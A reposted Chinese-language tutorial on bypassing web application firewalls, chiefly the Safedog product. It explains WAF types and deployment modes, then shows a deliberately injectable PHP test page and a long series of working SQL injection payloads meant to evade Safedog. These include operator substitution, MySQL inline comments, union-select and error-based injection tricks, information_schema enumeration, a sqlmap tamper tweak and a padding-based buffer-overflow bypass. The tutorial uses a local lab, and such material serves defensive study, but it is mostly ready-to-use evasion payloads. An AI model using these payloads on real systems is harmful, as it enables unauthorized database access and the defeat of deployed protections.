绕waf系列之绕安全狗
_转载自 _网络攻击的特定:攻击二象性:已知攻击和未知攻击目前市面主流的WAF产品:云WAF阿里云盾腾讯网站管家创宇盾ClodeFlare等软件产品类安全狗云锁360主机卫士ModSecurity硬件类型设备:启明星辰绿盟天融信飞塔等硬件waf缺陷:对HTTP协议的兼容性不强,对异常报文会产生bug,导致绕过WAF的核心原理:运用黑白思想特征匹配,漏洞签名:特定特征的漏洞,比如stract2漏洞对匹配结果进行响应(拦截,记录)WAF的几种部署模式:基于DNS解析修改DNS,让域名解析到反向代理服务器,所有流量经过反向代理进行检测,检测无问题之后再转发给后端的web服务器串联模式一般指的是反向代理模式,透明代理模式.反向代理模式会改变原有的网络拓扑,真实客户端ip会以HTTP header传递给后端web server.透明代理模式可以在不改变原有网络拓扑结构的情况下直接部署.旁路模式利用流量镜像技术,将业务流量分流给WAF产品,这种部署模式的优点是不会影响业务稳定性,所以WAF会投入更多的性能在检出率上面.但是缺点也很明显,不借助其他手段无法对检测出的攻击行为进行阻断.软件嵌入中间件检测引擎模式在使用nginx作为反向代理的业务中,WAF提高nginx模块嵌入原有nginx,将请求转发给检测引擎,可以做到在不改动原有的网络拓扑的情况下完成检测任务WAF为什么会被绕过:鱼(安全)和熊掌(业务性能)不能兼得,waf需要满足基本业务需求,所以一般不设置白名单之类的过于苛刻的操作WAF为了考虑通用性的问题,无法100%覆盖某些语言,中间件,数据库等特性硬件WAF自身往往存在漏洞架构:waf部署模式规则缺陷/特性协议:指HTTP0.9协议:TCP长连接WAF绕过实战—-绕过安全狗进行注入所谓的bypass waf实际上是去寻找位于waf设备之后处理应用层数据包的硬件/软件的特性,利用特性构造waf不能命中,但是在应用程序能够执行成功的payload,绕过防护实验环境:环境:安全狗Apache最新版本地测试代码(PHP):$id$_GET[id];$conmysql_connect(localhost,root,root);if(!$con){die(Could not connect: .mysql_error());}mysql_select_db(dvwa,$con);$querySELECT first_name,last_name FROM users WHERE user_id $id; ;$resultmysql_query($query)ordie(pre.mysql_error()./pre);while($rowmysql_fetch_array($result)){echo$row[0].nbsp.$row[1];echobr /;}echobr/;echo$query;mysql_close($con);绕过拦截and 11首先先稍微测试一番,发现存在安全狗http://127.0.0.1/test.php?id1 and 11%23and 1 拦截 and 1 拦截 and a 不拦截 and a 拦截 and ! 不拦截 and 11 拦截 and 1a 拦截 and hex(1) 不拦截通过测试我们发现当 and 后面跟上 数字型和字符型时他会给我们拦截掉 其实我们在安全狗的规则里面可以看到他拦截 and 和 or 所以我们有2个思路用其他字符替换 and 或者 or带入的不是字符串和数字型带入一个特殊符号针对第一种我们可以去看看运算符号 随便找到几个| ^ xor / * || 等等还有很多与运算 a b , 或运算 a | b , 异或运算 a ^ b那么可以试着将and替换成,URL编码得到%26%26,将11替换成true或者false,发现可以成功绕过http://127.0.0.1/test.php?id1 %26%26 true%23另外在分享一些可以绕过目前版本的安全狗测试payload (注:mysql支持 || ,oracle不支持 ||http://127.0.0.1/test.php?id1 || true%23 //将and 11替换为|| true,也可以绕过安全狗 http://127.0.0.1/test.php?id1 ||(1) %23 //使用括号代替空格绕过 //异或逻辑运算符xor运算法则是两个条件相同同真或同假即为假0两个条件不同即为真1 http://127.0.0.1/test.php?id1 xor 1%23 http://127.0.0.1/test.php?id1 xor true%23绕过order by查询判断查询字段,使用mysql的/*!*/内敛注释去绕过防护,而其中的代码是可以正常执行的http://127.0.0.1/test.php?id1 /*!order*//*!by*/2%23绕过union select查询使用union xxx页面正常但是用union和select放在在一起就被发现啦在网上找了好一阵子,发现有大佬提供的payload使用正则表达式去绕过http://127.0.0.1/test.php?id1/*!user () regexp 0x5e72*/--对于数字型注入,可以将其转换成浮点型联合查询绕waf,%0a为换行符经过URL编码得到的,可以通过换行符进行绕过,函数中可以插入任何混淆字符绕过waf另外使用-1可以省去空格绕过wafhttp://127.0.0.1/test.php?id1.0 /*union/*!select-1*/,user--%0a()%23基于报错信息的注入绕安全狗http://127.0.0.1/test.php?id1 and /*!12345updatexml!*/(1,concat(0x7e,version()))%23 http://127.0.0.1/test.php?id1 and /*!12345extractvalue!*/(1,concat(0x7e,version()))%23绕过select from使用大括号去绕过http://127.0.0.1/test.php?id1.0 /*union/*!select-1*/,2,3,4From{information_schema.tables}使用反引号去绕过http://127.0.0.1/test.php?id1.0 /*union/*!select-1*/,2,3,4 Frominformation_schema.tables使用\N去绕过http://127.0.0.1/test.php?id1.0 /*union/*!select-1*/,2,3,\Nfrom information_schema.tables括号法去绕过http://127.0.0.1/test.php?id1.0 /*union/*!select-1*/,2,3,From(((information_schema.tables)))也可以组合起来http://127.0.0.1/test.php?id1.0 /*union/*!select-1*/,2,3,4\Nfrom{ainformation_schema.tables}这些都是去掉空格的合法语句,当然如果不拦截/*/或/!*/的话,也可以尝试这两个提示安全狗默认不开启对information_schema的拦截如果开启了那么就得找支持post传递数据的注入点了post下不拦截information_schema这个关键词。补充点phpmysql环境下支持的空格有%0a,%0b,%0c,%0d,%20,%09,%a0,/**/其中使用的最多的就是%0a,%0b,%a0,/**/这四个当作空格插入在语句中来扰乱waf检测。干货分享使用/sup!$asd%2a–//sup代替空格即可找到sqlmap中tamper目录下的space2plus.py文件将其中代替空格的/*/换成/!$asd%2a–*/即可使用sqlmap跑了。缓冲区溢出绕waf另外也可以对安全狗实行缓冲区溢出绕waf缓冲区溢出用于对WAF有不少WAF是C写的而C语言本身没有缓冲区保护机制因此如果WAF在处理测试量时超出其缓冲区长度就会引发bug从而实现绕过要求是(针对于安全狗而已):GET类型请求转换成POST类型Content-Length头长度大于4008正常参数放置在脏数据后面
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2568007.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!